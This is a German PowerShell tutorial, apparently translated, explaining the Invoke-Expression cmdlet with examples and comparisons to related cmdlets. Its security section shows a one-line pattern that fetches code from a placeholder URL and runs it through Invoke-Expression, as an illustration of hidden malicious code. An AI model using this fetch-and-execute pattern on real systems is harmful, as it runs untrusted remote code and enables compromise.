Invoke-Expression: Vor- und Nachteile sowie bewährte Verfahren

Das PowerShell-Cmdlet Invoke-Expression kann leicht missverstanden werden, wann und wann es nicht verwendet werden soll. In diesem Artikel habe ich eine Reihe von Top-FAQs zusammengestellt. Ich werde sie aufschlüsseln und viele nützliche Beispiele einfügen, auf die Sie immer dann Bezug nehmen können, wenn Sie sie benötigen. Das bedeutet, dass Sie diese Seite jetzt als Lesezeichen setzen sollten!

Möchten Sie weitere Tipps wie diesen? Schauen Sie sich meinen persönlichen PowerShell-Blog an: https://www.nkasco.com/

Was ist Invoke-Expression?

Die offizielle Beschreibung von Microsoft lautet: „Das Cmdlet Invoke-Expression wertet einen angegebenen String als Befehl aus und gibt die Ergebnisse des Ausdrucks oder Befehls zurück. Ohne Invoke-Expression würde ein am Befehlszeilen-Prompt eingegebener String unverändert zurückgegeben (echoed)“.

Anders ausgedrückt kann es nützlich sein, um Code innerhalb eines Skripts aufzurufen oder Befehle zu erstellen, die später ausgeführt werden sollen. Es kann auch vorsichtig in Kombination mit vom Benutzer bereitgestellter Eingabe verwendet werden.

Das einfachste Beispiel für die Verwendung von Invoke-Expression besteht darin, ein Skript zu definieren und diesen String an den Parameter „Command“ zu übergeben. Invoke-Expression führt dann diesen String aus.

#Führen Sie einen PowerShell-Befehl über Invoke-Expression aus
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#Führen Sie ein Skript über Invoke-Expression aus
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

Was ist, wenn ich Leerzeichen in meinem Skriptpfad habe?

Stellen Sie sicher, dass Sie Zeichenfolgen mit einfachen oder doppelten Anführungszeichen umschließen.

Zum Beispiel, wenn Sie eine Zeichenfolge mit einem Leerzeichen im Pfad ausführen möchten, funktionieren diese Optionen nicht:

# Diese funktionieren nicht
$MyScript = "C:\Folder Path\MyScript.ps1"
#oder
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

Warum? Weil dies genau dasselbe ist, als ob Sie dies direkt in der PowerShell-Konsole eingeben würden:

PS51> C:\Folder Path\MyScript.ps1

Wenn Sie jedoch den Pfadteil in einfachen oder doppelten Anführungszeichen mit der gesamten Zeichenfolge in Anführungszeichen setzen, führt Invoke-Expression das Skript wie erwartet aus.

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

Der einzige Parameter, den Invoke-Expression hat, ist Command. Es gibt keine native Möglichkeit, Parameter mit Invoke-Expression zu übergeben. Sie können sie jedoch stattdessen in der Zeichenfolge angeben, die Sie an den Command-Parameter übergeben.

Vielleicht habe ich ein Skript mit zwei Parametern namens Pfad und Force. Anstelle eines bestimmten Parameters über Invoke-Expression können Sie Parameter an dieses Skript übergeben, indem Sie sie wie gewohnt über die Konsole übergeben.

Wenn Sie dieses Skript normalerweise über die Konsole aufrufen würden:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

Müssen Sie diese gesamte Zeile in eine Zeichenfolge einfügen und dann diese Zeichenfolge an den Command-Parameter übergeben.

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# oder
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

Macht try/catch Sinn mit Invoke-Expression?

Nicht wirklich. Das bedeutet, dass du die Fehlerbehandlung innerhalb deines Befehls-Parameters verwenden musst.

Beispiel:

# Funktioniert nicht - Invoke-Expression fungiert nicht als globaler Fehlerhandler!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

Was ist der Unterschied zwischen Invoke-Expression und dem Aufrufoperator (&)?

Der Aufrufoperator (&) ist großartig, um schnell einen Befehl, ein Skript oder einen Skriptblock auszuführen. Der Aufrufoperator analysiert jedoch den Befehl nicht. Er kann Befehlsparameter nicht interpretieren wie Invoke-Expression.

Zum Beispiel möchte ich vielleicht den PowerShell Core-Prozess mit dem Get-Process-Cmdlet unter Verwendung des Codes Get-Process -ProcessName pwsh abrufen. Das Verketten von Get-Process und dem Parameter funktioniert nicht wie erwartet mit dem Aufrufoperator.

$a = "Get-Process"

## Funktioniert nicht
& "$a pwsh"

Aber wenn du diesen String mit Invoke-Expression ausführst, funktioniert er wie erwartet.

Invoke-Expression "$a pwsh"

Was ist der Unterschied zwischen Invoke-Expression und Start-Process?

Das Start-Process-Cmdlet liefert einen Rückgabewert oder einen Exit-Code im zurückgegebenen Objekt. Es ermöglicht dir, auf den Abschluss des aufgerufenen Prozesses zu warten und einen Prozess unter einem anderen Windows-Anmeldeinformationen zu starten. Invoke-Expression ist zwar schnell und einfach, aber Start-Process kann nützlicher sein, um die Ergebnisse des ausgeführten Prozesses zu interpretieren.

Was ist der Unterschied zwischen Invoke-Expression und Invoke-Command?

Invoke-Expression „konvertiert“ lediglich einen String in ausführbaren Code. Invoke-Command hingegen nutzt die PowerShell-Remoting und ermöglicht es Ihnen, Code lokal oder remote auf Computern auszuführen.

Wenn Sie die ausgeführten Befehle gerade schreiben, ist Invoke-Command vorzuziehen, da Sie weiterhin Intellisense in Ihrer IDE haben. Invoke-Expression hingegen wäre vorzuziehen, wenn Sie ein anderes Skript aus Ihrem aktuellen Skript aufrufen möchten.

Beispiel:

#Beide Beispiele funktionieren gleich, aber wir haben bei dem Invoke-Expression-Beispiel unsere Intellisense verloren.
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

Was ist der Unterschied zwischen Invoke-Expression und Invoke-Item?

Das Cmdlet Invoke-Item ermöglicht es Ihnen, mehrere Pfade inline zu öffnen und Dokumente mit ihrer Standardaktion zu bearbeiten. Es gibt Parameter zum Hinzufügen, Ausschließen, Hinzufügen von Anmeldeinformationen und sogar zur Bestätigung für zusätzliche Sicherheit.

Ist Invoke-Expression sicher?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

Beispiel:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

Welche bewährten Methoden gibt es für die Ausführung mehrerer Befehle/Ausdrücke?

Wenn Sie mehrere Befehle ausführen möchten, auch wenn Invoke-Expression nur einen String anstatt eines Arrays akzeptiert, können wir die PowerShell-Pipeline verwenden, um Objekte nacheinander durch die Pipeline zu senden.

Beispiel:

# Funktioniert nicht
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# Funktioniert
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

Wie verwende ich Invoke-Expression mit Benutzereingabe?

Sie sollten sehr vorsichtig sein, wenn Sie Invoke-Expression mit Benutzereingabe verwenden. Wenn Sie eine Benutzereingabe auf eine Weise zulassen, die ihnen Zugriff außerhalb des beabsichtigten Befehls ermöglicht, könnte dies eine unerwünschte Sicherheitslücke schaffen. Hier ist eine Möglichkeit, Benutzereingabe sicher mit Invoke-Expression zu implementieren.

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    # Überprüfen Sie hier die Benutzereingabe, bevor Sie fortfahren
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" # Verwenden Sie hier keine $Response
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

Fazit

Jeder Cmdlet hat seinen Platz und Invoke-Expression ist eines, das fast jeder irgendwann antrifft. Es ist wichtig, die Vor- und Nachteile häufig verwendeter Cmdlets zu verstehen, damit Sie sie auf eine Weise implementieren, die Sie zum Erfolg führt. Ich bin neugierig, wie Sie Invoke-Expression verwendet haben, um einige Ihrer eigenen Herausforderungen zu lösen. Hinterlassen Sie unten einen Kommentar und teilen Sie Ihre Geschichte!

Möchten Sie weitere Tipps wie diesen? Besuchen Sie meinen persönlichen PowerShell-Blog unter: https://www.nkasco.com/

Weiterführende Informationen

Source:
https://adamtheautomator.com/invoke-expression/